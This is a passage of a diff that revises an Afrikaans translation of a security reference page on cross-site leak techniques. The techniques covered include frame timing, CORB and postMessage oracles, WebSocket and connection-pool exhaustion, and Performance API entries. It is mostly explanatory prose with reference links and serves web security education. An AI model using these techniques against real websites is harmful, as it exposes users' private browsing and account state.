 Daar is ook 'n skrip-vrye weergawe van hierdie aanval:
 ```html
@@ -121,7 +121,7 @@ Die tyd wat geneem word om 'n hulpbron te verkry, kan gemeet word deur die [`unl
 - **Opsomming:** Die [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API kan gebruik word om te meet hoe lank dit neem om 'n versoek te doen. Ander horlosies kan gebruik word.
 - **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
 
-Daar is waargeneem dat in die afwesigheid van [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), die tyd wat benodig word vir 'n bladsy en sy subhulpbronne om oor die netwerk te laai, deur 'n aanvaller gemeet kan word. Hierdie meting is tipies moontlik omdat die `onload` handler van 'n iframe slegs geaktiveer word na die voltooiing van hulpbronlaai en JavaScript-uitvoering. Om die variabiliteit wat deur skripuitvoering ingebring word, te omseil, kan 'n aanvaller die [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) attribuut binne die `<iframe>` gebruik. Die insluiting van hierdie attribuut beperk verskeie funksies, veral die uitvoering van JavaScript, wat 'n meting fasiliteer wat hoofsaaklik deur netwerkprestasie beïnvloed word.
+Daar is waargeneem dat in die afwesigheid van [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), die tyd wat benodig word vir 'n bladsy en sy subhulpbronne om oor die netwerk te laai, deur 'n aanvaller gemeet kan word. Hierdie meting is tipies moontlik omdat die `onload` handler van 'n iframe slegs geaktiveer word na die voltooiing van hulpbronlaai en JavaScript-uitvoering. Om die variabiliteit wat deur skripuitvoering ingebring word, te omseil, kan 'n aanvaller die [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) attribuut binne die `<iframe>` gebruik. Die insluiting van hierdie attribuut beperk verskeie funksionaliteite, veral die uitvoering van JavaScript, wat 'n meting fasiliteer wat hoofsaaklik deur netwerkprestasie beïnvloed word.
 ```javascript
 // Example of an iframe with the sandbox attribute
 <iframe src="example.html" sandbox></iframe>
@@ -131,12 +131,12 @@ Daar is waargeneem dat in die afwesigheid van [Framing Protections](https://xsle
 - **Insluitingsmetodes**: Frames
 - **Waarneembare Verskil**: Bladsy Inhoud
 - **Meer inligting**:
-- **Samevatting**: As jy die bladsy kan laat fout wanneer die korrekte inhoud toeganklik is en dit korrek kan laai wanneer enige inhoud toeganklik is, kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet.
+- **Opsomming**: As jy die bladsy kan laat fout wanneer die korrekte inhoud toeganklik is en dit korrek kan laai wanneer enige inhoud toeganklik is, kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet.
 - **Kode Voorbeeld**:
 
-Neem aan dat jy die **bladsy** kan **invoeg** wat die **geheime** inhoud **binne 'n Iframe** het.
+Neem aan dat jy die **bladsy** wat die **geheime** inhoud het, **binne 'n Iframe** kan **invoeg**.
 
-Jy kan die **slagoffer laat soek** na die lêer wat "_**vlag**_" bevat deur 'n **Iframe** te gebruik (byvoorbeeld deur 'n CSRF te benut). Binne die Iframe weet jy dat die _**onload gebeurtenis**_ altyd **ten minste een keer** uitgevoer sal word. Dan kan jy die **URL** van die **iframe** verander, maar net die **inhoud** van die **hash** binne die URL verander.
+Jy kan die **slagoffer laat soek** na die lêer wat "_**vlag**_" bevat deur 'n **Iframe** te gebruik (byvoorbeeld 'n CSRF te benut). Binne die Iframe weet jy dat die _**onload gebeurtenis**_ altyd **ten minste een keer** sal **uitgevoer word**. Dan kan jy die **URL** van die **iframe** verander, maar net die **inhoud** van die **hash** binne die URL verander.
 
 Byvoorbeeld:
 
@@ -152,7 +152,7 @@ Dan kan jy **onderskei tussen** 'n **korrek** gelaaide bladsy of 'n bladsy wat '
 - **Insluitingsmetodes**: Frames
 - **Waarneembare Verskil**: Bladsy Inhoud
 - **Meer inligting**:
-- **Samevatting:** As die **bladsy** die **sensitiewe** inhoud **teruggee**, **of** 'n **inhoud** wat deur die gebruiker **beheer** kan word. Die gebruiker kan **geldige JS kode in die negatiewe geval** stel, en **laai** elke poging binne **`<script>`** etikette, so in **negatiewe** gevalle word die aanvallers **kode** **uitgevoer**, en in **bevestigende** gevalle sal **niks** uitgevoer word nie.
+- **Opsomming:** As die **bladsy** die **sensitiewe** inhoud **teruggee**, **of** 'n **inhoud** wat deur die gebruiker **beheer** kan word. Die gebruiker kan **geldige JS kode in die negatiewe geval** stel, en **laai** elke poging binne **`<script>`** etikette, so in **negatiewe** gevalle sal die aanvallers **kode** **uitgevoer** word, en in **bevestigende** gevalle sal **niks** uitgevoer word nie.
 - **Kode Voorbeeld:**
 
 {{#ref}}
@@ -164,7 +164,7 @@ xs-search/javascript-execution-xs-leak.md
 - **Insluitingsmetodes**: HTML Elemente
 - **Waarneembare Verskil**: Statuskode & Headers
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
-- **Samevatting**: **Cross-Origin Read Blocking (CORB)** is 'n sekuriteitsmaatreël wat webbladsye verhinder om sekere sensitiewe kruis-oorsprong hulpbronne te laai om teen aanvalle soos **Spectre** te beskerm. Tog kan aanvallers sy beskermende gedrag benut. Wanneer 'n antwoord wat aan **CORB** onderwerp is, 'n _**CORB beskermde**_ `Content-Type` met `nosniff` en 'n `2xx` statuskode teruggee, verwyder **CORB** die liggaam en headers van die antwoord. Aanvallers wat dit waarneem kan die kombinasie van die **statuskode** (wat sukses of fout aandui) en die `Content-Type` (wat aandui of dit deur **CORB** beskerm word), aflei, wat kan lei tot potensiële inligtingslek.
+- **Opsomming**: **Cross-Origin Read Blocking (CORB)** is 'n sekuriteitsmaatreël wat webblaaie verhinder om sekere sensitiewe kruis-oorsprong hulpbronne te laai om teen aanvalle soos **Spectre** te beskerm. Tog kan aanvallers sy beskermende gedrag benut. Wanneer 'n antwoord wat aan **CORB** onderwerp is, 'n _**CORB beskermde**_ `Content-Type` met `nosniff` en 'n `2xx` statuskode teruggee, verwyder **CORB** die liggaam en headers van die antwoord. Aanvallers wat dit waarneem kan die kombinasie van die **statuskode** (wat sukses of fout aandui) en die `Content-Type` (wat aandui of dit deur **CORB** beskerm word), aflei, wat kan lei tot potensiële inligtingslek.
 - **Kode Voorbeeld:**
 
 Kyk die meer inligting skakel vir meer inligting oor die aanval.
@@ -174,7 +174,7 @@ Kyk die meer inligting skakel vir meer inligting oor die aanval.
 - **Insluitingsmetodes**: Frames
 - **Waarneembare Verskil**: Bladsy Inhoud
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
-- **Samevatting**: Lek sensitiewe data van die id of naam attribuut.
+- **Opsomming**: Lek sensitiewe data van die id of naam attribuut.
 - **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
 
 Dit is moontlik om 'n **bladsy** binne 'n **iframe** te **laai** en die **`#id_value`** te gebruik om die bladsy **fokus op die element** van die iframe te maak met die aangeduide as, dan as 'n **`onblur`** sein geaktiveer word, bestaan die ID element.\
@@ -185,7 +185,7 @@ Jy kan dieselfde aanval met **`portal`** etikette uitvoer.
 - **Insluitingsmetodes**: Frames, Pop-ups
 - **Waarneembare Verskil**: API Gebruik
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
-- **Samevatting**: Versamel sensitiewe inligting van 'n postMessage of gebruik die teenwoordigheid van postMessages as 'n orakel om die status van die gebruiker op die bladsy te ken
+- **Opsomming**: Versamel sensitiewe inligting van 'n postMessage of gebruik die teenwoordigheid van postMessages as 'n orakel om die status van die gebruiker op die bladsy te ken
 - **Kode Voorbeeld**: `Enige kode wat na alle postMessages luister.`
 
 Toepassings gebruik gereeld [`postMessage` uitzendings](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) om oor verskillende oorspronge te kommunikeer. Tog kan hierdie metode per ongeluk **sensitiewe inligting** blootstel as die `targetOrigin` parameter nie behoorlik gespesifiseer is nie, wat enige venster toelaat om die boodskappe te ontvang. Verder kan die blote daad van die ontvangs van 'n boodskap as 'n **orakel** optree; byvoorbeeld, sekere boodskappe mag slegs aan gebruikers wat ingelog is, gestuur word. Daarom kan die teenwoordigheid of afwesigheid van hierdie boodskappe inligting oor die gebruiker se toestand of identiteit onthul, soos of hulle geverifieer is of nie.
@@ -197,19 +197,19 @@ Toepassings gebruik gereeld [`postMessage` uitzendings](https://developer.mozill
 - **Insluitingsmetodes**: Frames, Pop-ups
 - **Waarneembare Verskil**: API Gebruik
 - **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
-- **Samevatting**: Die uitputting van die WebSocket verbinding limiet lek die aantal WebSocket verbindings van 'n kruis-oorsprong bladsy.
+- **Opsomming**: Die uitputting van die WebSocket verbinding limiet lek die aantal WebSocket verbindings van 'n kruis-oorsprong bladsy.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
 
 Dit is moontlik om te identifiseer of, en hoeveel, **WebSocket verbindings 'n teikenbladsy gebruik**. Dit stel 'n aanvaller in staat om toepassingsstate te detecteer en inligting wat aan die aantal WebSocket verbindings gekoppel is, te lek.
 
-As een **oorsprong** die **maksimum aantal WebSocket** verbindingsobjekte gebruik, ongeag hul verbindingsstatus, sal die skepping van **nuwe objekts 'n JavaScript uitsondering** tot gevolg hê. Om hierdie aanval uit te voer, open die aanvaller se webwerf die teikenwebwerf in 'n pop-up of iframe en dan, nadat die teikenweb gelaai is, probeer om die maksimum aantal WebSockets verbindings moontlik te skep. Die **aantal gegooi uitsonderings** is die **aantal WebSocket verbindings wat deur die teikenwebwerf** venster gebruik word.
+As een **oorsprong** die **maksimum aantal WebSocket** verbindingsobjekte gebruik, ongeag hul verbindingsstatus, sal die skepping van **nuwe objekts JavaScript uitsonderings** veroorsaak. Om hierdie aanval uit te voer, open die aanvaller se webwerf die teikenwebwerf in 'n pop-up of iframe en dan, nadat die teikenweb gelaai is, probeer om die maksimum aantal WebSockets verbindings moontlik te skep. Die **aantal gegooi uitsonderings** is die **aantal WebSocket verbindings wat deur die teikenwebwerf** venster gebruik word.
 
 ### Betaling API
 
 - **Insluitingsmetodes**: Frames, Pop-ups
 - **Waarneembare Verskil**: API Gebruik
 - **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
-- **Samevatting**: Detect Betaling Versoek omdat slegs een op 'n slag aktief kan wees.
+- **Opsomming**: Detecteer Betaling Versoek omdat slegs een aktief kan wees op 'n slag.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
 
 Hierdie XS-Lek stel 'n aanvaller in staat om **te detecteer wanneer 'n kruis-oorsprong bladsy 'n betalingsversoek inisieer**.
@@ -221,7 +221,7 @@ Omdat **slegs een betalingsversoek aktief kan wees** op dieselfde tyd, as die te
 - **Insluitingsmetodes**:
 - **Waarneembare Verskil**: Tydsberekening (generaal as gevolg van Bladsy Inhoud, Statuskode)
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
-- **Samevatting:** Meet die uitvoeringstyd van 'n web wat die enkel-draad JS gebeurtenislus misbruik.
+- **Opsomming:** Meet die uitvoeringstyd van 'n web wat die enkel-draad JS gebeurtenislus misbruik.
 - **Kode Voorbeeld**:
 
 {{#ref}}
@@ -238,10 +238,10 @@ JavaScript werk op 'n [enkel-draad gebeurtenislus](https://developer.mozilla.org
 - **Insluitingsmetodes**:
 - **Waarneembare Verskil**: Tydsberekening (generaal as gevolg van Bladsy Inhoud, Statuskode)
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
-- **Samevatting:** Een metode om die uitvoeringstyd van 'n weboperasie te meet, behels om die gebeurtenislus van 'n draad doelbewus te blokkeer en dan die tyd te meet **hoe lank dit neem voordat die gebeurtenislus weer beskikbaar is**. Deur 'n blokkerende operasie (soos 'n lang berekening of 'n sinchroniese API oproep) in die gebeurtenislus in te voeg, en die tyd te monitor wat dit neem voordat daaropvolgende kode begin uitvoer, kan 'n mens die duur van die take wat in die gebeurtenislus tydens die blokkeringsperiode uitgevoer is, aflei. Hierdie tegniek benut die enkel-draad aard van JavaScript se gebeurtenislus, waar take opeenvolgend uitgevoer word, en kan insigte bied in die prestasie of gedrag van ander operasies wat dieselfde draad deel.
+- **Opsomming:** Een metode om die uitvoeringstyd van 'n weboperasie te meet, behels die doelbewuste blokkering van die gebeurtenislus van 'n draad en dan die tydsberekening **hoe lank dit neem voordat die gebeurtenislus weer beskikbaar is**. Deur 'n blokkerende operasie (soos 'n lang berekening of 'n sinchroniese API-oproep) in die gebeurtenislus in te voeg, en die tyd te monitor wat dit neem voordat daaropvolgende kode begin uitvoer, kan 'n mens die duur van die take wat in die gebeurtenislus tydens die blokkeringsperiode uitgevoer is, aflei. Hierdie tegniek benut die enkel-draad aard van JavaScript se gebeurtenislus, waar take sekwensieel uitgevoer word, en kan insigte bied in die prestasie of gedrag van ander operasies wat dieselfde draad deel.
 - **Kode Voorbeeld**:
 
-'n Beduidende voordeel van die tegniek om uitvoeringstyd te meet deur die gebeurtenislus te sluit, is die potensiaal om **Webwerf Isolasie** te omseil. **Webwerf Isolasie** is 'n sekuriteitskenmerk wat verskillende webwerwe in aparte prosesse skei, met die doel om te voorkom dat kwaadwillige webwerwe direk toegang tot sensitiewe data van ander webwerwe verkry. Tog, deur die uitvoeringstyd van 'n ander oorsprong te beïnvloed deur die gedeelde gebeurtenislus, kan 'n aanvaller indirek inligting oor daardie oorsprong se aktiwiteite onttrek. Hierdie metode staat nie op direkte toegang tot die ander oorsprong se data nie, maar eerder op die waarneming van die impak van daardie oorsprong se aktiwiteite op die gedeelde gebeurtenislus, en ontduik dus die beskermende hindernisse wat deur **Webwerf Isolasie** gevestig is.
+'n Beduidende voordeel van die tegniek om uitvoeringstyd te meet deur die gebeurtenislus te vergrendel, is die potensiaal om **Webwerf Isolasie** te omseil. **Webwerf Isolasie** is 'n sekuriteitskenmerk wat verskillende webwerwe in aparte prosesse skei, met die doel om te voorkom dat kwaadwillige webwerwe direk toegang tot sensitiewe data van ander webwerwe verkry. Tog, deur die uitvoeringstyd van 'n ander oorsprong te beïnvloed deur die gedeelde gebeurtenislus, kan 'n aanvaller indirek inligting oor daardie oorsprong se aktiwiteite onttrek. Hierdie metode staat nie op direkte toegang tot die ander oorsprong se data nie, maar eerder op die waarneming van die impak van daardie oorsprong se aktiwiteite op die gedeelde gebeurtenislus, en so die beskermende barriers wat deur **Webwerf Isolasie** gevestig is, ontduik.
 
 > [!WARNING]
 > In 'n uitvoering tydsberekening is dit moontlik om **netwerk faktore** te **elimineer** om **meer presiese metings** te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word.
@@ -251,19 +251,19 @@ JavaScript werk op 'n [enkel-draad gebeurtenislus](https://developer.mozilla.org
 - **Insluitingsmetodes**: JavaScript Versoeke
 - **Waarneembare Verskil**: Tydsberekening (generaal as gevolg van Bladsy Inhoud, Statuskode)
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
-- **Samevatting:** 'n Aanvaller kan al die sokke sluit behalwe 1, die teikenweb laai en terselfdertyd 'n ander bladsy laai, die tyd totdat die laaste bladsy begin laai is die tyd wat die teikenbladsy geneem het om te laai.
+- **Opsomming:** 'n Aanvaller kan al die sokke vergrendel behalwe 1, die teikenweb laai en terselfdertyd 'n ander bladsy laai, die tyd totdat die laaste bladsy begin laai is die tyd wat die teikenbladsy geneem het om te laai.
 - **Kode Voorbeeld**:
 
 {{#ref}}
 xs-search/connection-pool-example.md
 {{#endref}}
 
-Browers gebruik sokke vir bedienerkommunikasie, maar as gevolg van die beperkte hulpbronne van die bedryfstelsel en hardeware, **word browers gedwing om 'n limiet** op die aantal gelyktydige sokke te plaas. Aanvallers kan hierdie beperking benut deur die volgende stappe:
+Blaaiers gebruik sokke vir bedienerkommunikasie, maar as gevolg van die beperkte hulpbronne van die bedryfstelsel en hardeware, **is blaaiers gedwing om 'n limiet op te lê** op die aantal gelyktydige sokke. Aanvallers kan hierdie beperking benut deur die volgende stappe:
 
-1. Bepaal die brower se sokkelimiet, byvoorbeeld, 256 globale sokke.
+1. Bepaal die blaaiers sokke limiet, byvoorbeeld, 256 globale sokke.
 2. Beset 255 sokke vir 'n lang tyd deur 255 versoeke na verskillende gasheers te begin, ontwerp om die verbindings oop te hou sonder om te voltooi.
 3. Gebruik die 256ste sok om 'n versoek na die teikenbladsy te stuur.
-4. Probeer 'n 257ste versoek na 'n ander gasheer. Aangesien al die sokke in gebruik is (soos per stappe 2 en 3), sal hierdie versoek in die tou wees totdat 'n sok beskikbaar word. Die vertraging voordat hierdie versoek voortgaan, bied die aanvaller tyds-inligting oor die netwerkaktiwiteit wat met die 256ste sok (die teikenbladsy se sok) verband hou. Hierdie afleiding is moontlik omdat die 255 sokke van stap 2 steeds betrokke is, wat impliseer dat enige nuut beskikbare sok die een moet wees wat van stap 3 vrygestel is. Die tyd wat dit neem vir die 256ste sok om beskikbaar te word, is dus direk gekoppel aan die tyd wat benodig word vir die versoek na die teikenbladsy om te voltooi.
+4. Probeer 'n 257ste versoek na 'n ander gasheer. Aangesien al die sokke in gebruik is (soos per stappe 2 en 3), sal hierdie versoek gequeue word totdat 'n sok beskikbaar word. Die vertraging voordat hierdie versoek voortgaan, bied die aanvaller tyds-inligting oor die netwerkaktiwiteit wat verband hou met die 256ste sok (die teikenbladsy se sok). Hierdie afleiding is moontlik omdat die 255 sokke van stap 2 steeds betrokke is, wat impliseer dat enige nuut beskikbare sok die een moet wees wat van stap 3 vrygestel is. Die tyd wat dit neem vir die 256ste sok om beskikbaar te word, is dus direk gekoppel aan die tyd wat benodig word vir die versoek na die teikenbladsy om te voltooi.
 
 Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
 
@@ -272,42 +272,42 @@ Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-
 - **Insluitingsmetodes**: JavaScript Versoeke
 - **Waarneembare Verskil**: Tydsberekening (generaal as gevolg van Bladsy Inhoud, Statuskode)
 - **Meer inligting**:
-- **Samevatting:** Dit is soos die vorige tegniek, maar in plaas daarvan om al die sokke te gebruik, plaas Google **Chrome** 'n limiet van **6 gelyktydige versoeke na die selfde oorsprong**. As ons **5 blokkeer** en dan 'n 6de versoek **afskiet**, kan ons dit **tyd** en as ons daarin slaag om die **slagofferbladsy meer versoeke** na dieselfde eindpunt te laat stuur om 'n **status** van die **bladsy** te detecteer, sal die **6de versoek** **langer** neem en kan ons dit detecteer.
+- **Opsomming:** Dit is soos die vorige tegniek, maar in plaas daarvan om al die sokke te gebruik, stel Google **Chrome** 'n limiet van **6 gelyktydige versoeke na die selfde oorsprong**. As ons **5 blokkeer** en dan 'n **6de** versoek **afskiet**, kan ons dit **tyd** en as ons daarin slaag om die **slagofferbladsy meer versoeke** na dieselfde eindpunt te laat stuur om 'n **status** van die **bladsy** te detecteer, sal die **6de versoek** **langer** neem en kan ons dit detecteer.
 
 ## Prestasie API Tegnieke
 
-Die [`Prestasie API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) bied insigte in die prestasiemetrieke van webtoepassings, verder verryk deur die [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Die Resource Timing API stel die monitering van gedetailleerde netwerk versoek tydsberekeninge, soos die duur van die versoeke, moontlik. Opmerklik is dat wanneer bedieners die `Timing-Allow-Origin: *` header in hul antwoorde insluit, addisionele data soos die oordraggrootte en domein soektijd beskikbaar word.
+Die [`Prestasie API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) bied insigte in die prestasiemetrieke van webtoepassings, verder verryk deur die [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Die Resource Timing API stel die monitering van gedetailleerde netwerk versoek tydsberekeninge moontlik, soos die duur van die versoeke. Opmerklik is dat wanneer bedieners die `Timing-Allow-Origin: *` header in hul antwoorde insluit, addisionele data soos die oordraggrootte en domein soek tyd beskikbaar word.
 
-Hierdie rykdom van data kan verkry word via metodes soos [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) of [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), wat 'n omvattende oorsig van prestasie-verwante inligting bied. Daarbenewens fasiliteer die API die meting van uitvoeringstye deur die verskil tussen tydstempels wat verkry is van [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) te bereken. Dit is egter die moeite werd om op te let dat vir sekere operasies in browers soos Chrome, die presisie van `performance.now()` moontlik beperk is tot millisekondes, wat die granulariteit van tydsmetings kan beïnvloed.
+Hierdie rykdom van data kan verkry word via metodes soos [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) of [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), wat 'n omvattende oorsig van prestasie-verwante inligting bied. Boonop fasiliteer die API die meting van uitvoeringstye deur die verskil tussen tydstempels wat verkry is van [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) te bereken. Dit is egter die moeite werd om op te let dat vir sekere operasies in blaaiers soos Chrome, die presisie van `performance.now()` moontlik beperk is tot millisekondes, wat die granulariteit van tydsmetings kan beïnvloed.
 
-Buiten tydsmetings kan die Prestasie API benut word vir sekuriteitsverwante insigte. Byvoorbeeld, die teenwoordigheid of afwesigheid van bladsye in die `performance` objek in Chrome kan die toepassing van `X-Frame-Options` aandui. Spesifiek, as 'n bladsy geblokkeer word om in 'n raam te render as gevolg van `X-Frame-Options`, sal dit nie in die `performance` objek aangeteken word nie, wat 'n subtiele leidraad oor die bladsy se raambeleid bied.
+Buiten tydsmetings kan die Prestasie API benut word vir sekuriteitsverwante insigte. Byvoorbeeld, die teenwoordigheid of afwesigheid van bladsye in die `performance` objek in Chrome kan die toepassing van `X-Frame-Options` aandui. Spesifiek, as 'n bladsy geblokkeer word om in 'n raam te render as gevolg van `X-Frame-Options`, sal dit nie in die `performance` objek geregistreer word nie, wat 'n subtiele leidraad oor die bladsy se raambeleid bied.
 
 ### Fout Lek
 
 - **Insluitingsmetodes**: Frames, HTML Elemente
 - **Waarneembare Verskil**: Statuskode
 - **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Samevatting:** 'n Versoek wat in foute eindig, sal nie 'n hulpbron tydsberekening inskrywing skep nie.
+- **Opsomming:** 'n Versoek wat in foute eindig, sal nie 'n hulpbron tydsberekening inskrywing skep nie.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
 
-Dit is moontlik om **te onderskei tussen HTTP antwoordstatuskodes** omdat versoeke wat tot 'n **fout** lei **nie 'n prestasie inskrywing** skep nie.
+Dit is moontlik om **te onderskei tussen HTTP antwoord statuskodes** omdat versoeke wat tot 'n **fout** lei, **nie 'n prestasie inskrywing** skep nie.
 
 ### Styl Herlaai Fout
 
 - **Insluitingsmetodes**: HTML Elemente
 - **Waarneembare Verskil**: Statuskode
 - **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Samevatting:** As gevolg van 'n brower fout, word versoeke wat in foute eindig, twee keer gelaai.
+- **Opsomming:** As gevolg van 'n blaaiers fout, word versoeke wat in foute eindig, twee keer gelaai.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
 
-In die vorige tegniek is daar ook twee gevalle geïdentifiseer waar brower foute in GC lei tot **hulpbronne wat twee keer gelaai word wanneer hulle misluk om te laai**. Dit sal lei tot meerdere inskrywings in die Prestasie API en kan dus gedetecteer word.
+In die vorige tegniek is daar ook twee gevalle geïdentifiseer waar blaaiers foute in GC lei tot **hulpbronne wat twee keer gelaai word wanneer hulle misluk om te laai**. Dit sal lei tot meerdere inskrywings in die Prestasie API en kan dus gedetecteer word.
 
 ### Versoek Samesmelting Fout
 
 - **Insluitingsmetodes**: HTML Elemente
 - **Waarneembare Verskil**: Statuskode
 - **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Samevatting:** Versoeke wat in 'n fout eindig, kan nie saamgevoeg word nie.
+- **Opsomming:** Versoeke wat in 'n fout eindig, kan nie saamgevoeg word nie.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
 
 Die tegniek is in 'n tabel in die genoemde papier gevind, maar geen beskrywing van die tegniek is daarin gevind nie. Tog kan jy die bronkode vind wat daarna kyk in [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
@@ -317,30 +317,30 @@ Die tegniek is in 'n tabel in die genoemde papier gevind, maar geen beskrywing v
 - **Insluitingsmetodes**: Frames
 - **Waarneembare Verskil**: Bladsy Inhoud
 - **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Samevatting:** Leë antwoorde skep nie hulpbron tydsberekening inskrywings nie.
+- **Opsomming:** Leë antwoorde skep nie hulpbron tydsberekening inskrywings nie.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
 
-'n Aanvaller kan detecteer of 'n versoek tot 'n leë HTTP antwoord liggaam gelei het omdat **leë bladsye nie 'n prestasie inskrywing in sommige browers** skep nie.
+'n Aanvaller kan detecteer of 'n versoek tot 'n leë HTTP antwoord liggaam gelei het omdat **leë bladsye nie 'n prestasie inskrywing in sommige blaaiers** skep nie.
 
 ### **XSS-Auditor Lek**
 
 - **Insluitingsmetodes**: Frames
 - **Waarneembare Verskil**: Bladsy Inhoud
 - **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Samevatting:** Deur die XSS Auditor in Sekuriteits Aserte te gebruik, kan aanvallers spesifieke webblad elemente detecteer deur veranderinge in antwoorde waar te neem wanneer vervaardigde payloads die auditor se filtreringsmeganisme aktiveer.
+- **Opsomming:** Deur die XSS Auditor in Sekuriteits Aserte te gebruik, kan aanvallers spesifieke webblad elemente detecteer deur veranderinge in antwoorde waar te neem wanneer vervaardigde payloads die auditor se filtreringsmeganisme aktiveer.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
 
-In Sekuriteits Aserte (SA), kan die XSS Auditor, oorspronklik bedoel om Cross-Site Scripting (XSS) aanvalle te voorkom, ironies benut word om sensitiewe inligting te lek. Alhoewel hierdie ingeboude kenmerk uit Google Chrome (GC) verwyder is, is dit steeds teenwoordig in SA. In 2013 het Braun en Heiderich getoon dat die XSS Auditor per ongeluk wettige skripte kan blokkeer, wat tot vals positiewe lei. Gebaseer op hierdie, het navorsers tegnieke ontwikkel om inligting te onttrek en spesifieke inhoud op kruis-oorsprong bladsye te detecteer, 'n konsep bekend as XS-Leaks, aanvanklik gerapporteer deur Terada en verder uitgewerk deur Heyes in 'n blogpos. Alhoewel hierdie tegnieke spesifiek vir die XSS Auditor in GC was, is daar ontdek dat in SA, bladsye wat deur die XSS Auditor geblokkeer word, nie inskrywings in die Prestasie API genereer nie, wat 'n metode onthul waardeur sensitiewe inligting steeds gelekt kan word.
+In Sekuriteits Aserte (SA), kan die XSS Auditor, oorspronklik bedoel om Cross-Site Scripting (XSS) aanvalle te voorkom, ironies benut word om sensitiewe inligting te lek. Alhoewel hierdie ingeboude kenmerk uit Google Chrome (GC) verwyder is, is dit steeds teenwoordig in SA. In 2013 het Braun en Heiderich getoon dat die XSS Auditor per ongeluk wettige skripte kan blokkeer, wat lei tot vals positiewe. Gebaseer op hierdie, het navorsers tegnieke ontwikkel om inligting te onttrek en spesifieke inhoud op kruis-oorsprong bladsye te detecteer, 'n konsep bekend as XS-Leaks, aanvanklik gerapporteer deur Terada en verder uitgewerk deur Heyes in 'n blogpos. Alhoewel hierdie tegnieke spesifiek vir die XSS Auditor in GC was, is daar ontdek dat in SA, bladsye wat deur die XSS Auditor geblokkeer word, nie inskrywings in die Prestasie API genereer nie, wat 'n metode onthul waardeur sensitiewe inligting steeds gelekt kan word.
 
